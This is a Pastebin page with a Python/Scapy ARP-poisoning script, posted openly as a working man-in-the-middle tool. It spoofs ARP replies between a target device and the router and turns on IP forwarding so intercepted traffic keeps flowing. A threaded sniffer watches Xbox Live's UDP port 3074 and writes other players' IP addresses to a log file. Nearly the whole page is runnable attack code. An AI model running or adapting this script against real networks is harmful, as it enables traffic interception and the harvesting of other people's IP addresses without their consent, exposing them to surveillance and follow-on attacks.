Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #ONLY WORKS ON LINUX!!!
- #Cain and Abel ARP Poisoning for Linux
- #Can be used to perform MITM with right data filtering
- #Basic ARP Poisoning/Spoofing
- #By K-Metal
- from scapy.all import *
- import time
- import socket, sys
- from struct import *
- import threading
- from subprocess import Popen, PIPE
- import os
- #Restore ARP
- def Restore(vm, rm, vi ,ri):
- #disable IP Fowarding to return to normal
- with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipz:
- ipz.write('0\n')
- #Reset ARP with router and device
- send(ARP(op=2, pdst=ri, psrc=vi, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=vm),verbose=0,count=3)
- send(ARP(op=2, pdst=vi, psrc=ri, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=rm),verbose=0,count=3)
- #Quit program
- sys.exit("\nchose to stop")
- #Get Device Mac address
- def GetMac(host):
- pid = Popen(["arp", "-n", host], stdout=PIPE)
- s = pid.communicate()[0]
- a = s.split(" ")
- b = ""
- for line in a:
- b += line
- print str(b)
- MacAddr1 = (b.split("ether")[1]).split('eth0')[0]
- Addr = ""
- for liner in MacAddr1:
- if liner == "C":
- pass
- else:
- Addr += liner
- return str(Addr)
- # Main Thread
- def ARP_Poison():
- vip = raw_input("Enter device ip: ")
- rip = raw_input("Enter router ip: ")
- #Personal settings for my setup (change 4 yours)
- if vip == "xbox":
- vmac = "00:25:ae:18:99:de"
- vip = "10.0.0.3"
- else:
- vmac = GetMac(vip)
- rmac = GetMac(rip)
- #Enable ip foward so device sniffing doesn't get kicked off
- with open('/proc/sys/net/ipv4/ip_forward', 'w') as ipf:
- ipf.write('1\n')
- # ARP Spoof
- def poison(vm, rm, vi, ri):
- send(ARP(op=2, pdst=vi, psrc=ri, hwdst=vm),verbose=0)
- send(ARP(op=2, pdst=ri, psrc=vi, hwdst=rm),verbose=0)
- print "Poisoning"
- # Keep Spoofing or stop.
- while True:
- try:
- try:
- poison(vmac,rmac,vip,rip)
- except KeyboardInterrupt:
- Restore(vmac,rmac,vip,rip)
- break
- try:
- time.sleep(2)
- except KeyboardInterrupt:
- Restore(vmac,rmac,vip,rip)
- break
- except KeyboardInterrupt:
- Restore(vmac,rmac,vip,rip)
- break
- #Personal Setting to listen for xbox IP's
- def Listener():
- msg = ""
- ip_list = []
- #Parse the packet to save IPs to file
- def Parse(packet):
- try:
- ip1 = str(packet[0][1].src)
- ip2 = str(packet[0][1].dst)
- if ip1 not in ip_list:
- try:
- #Filter for needless IP's, you can add more if needed
- if ":" not in ip1:
- if ip1 == "0.0.0.0":
- pass
- elif "255" in ip1:
- pass
- elif "10.0.0." in ip1:
- pass
- elif ip1 == "224.0.0.252":
- pass
- elif "65.5" in ip1:
- pass
- elif "184.29.104" in ip1:
- pass
- elif "75.75" in ip1:
- pass
- elif "127.0" in ip1:
- pass
- else:
- ip_list.append(ip1)
- except:
- pass
- if ip2 not in ip_list:
- try:
- if ":" not in ip2:
- if ip2 == "0.0.0.0":
- pass
- elif "255" in ip2:
- pass
- elif "10.0.0." in ip2:
- pass
- elif ip2 == "224.0.0.252":
- pass
- elif "65.5" in ip2:
- pass
- elif "184.29.104" in ip2:
- pass
- elif "75.75" in ip2:
- pass
- elif "127.0" in ip2:
- pass
- else:
- ip_list.append(ip2)
- except:
- pass
- msg = ""
- for addr in ip_list:
- msg += addr +"\n"
- #Save to log file
- print "Saved to log.txt"
- newfile = open("log.txt","w")
- newfile.write(msg)
- newfile.close()
- except:
- pass
- while True:
- #You can change the protocol and port to sniff on
- device = sniff(filter="udp and port 3074",prn=Parse,count=1)
- #Start the listening thread and the ARP Spoofing Thread
- t = threading.Thread(target=Listener)
- t.daemon = True
- t.start()
- ARP_Poison()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement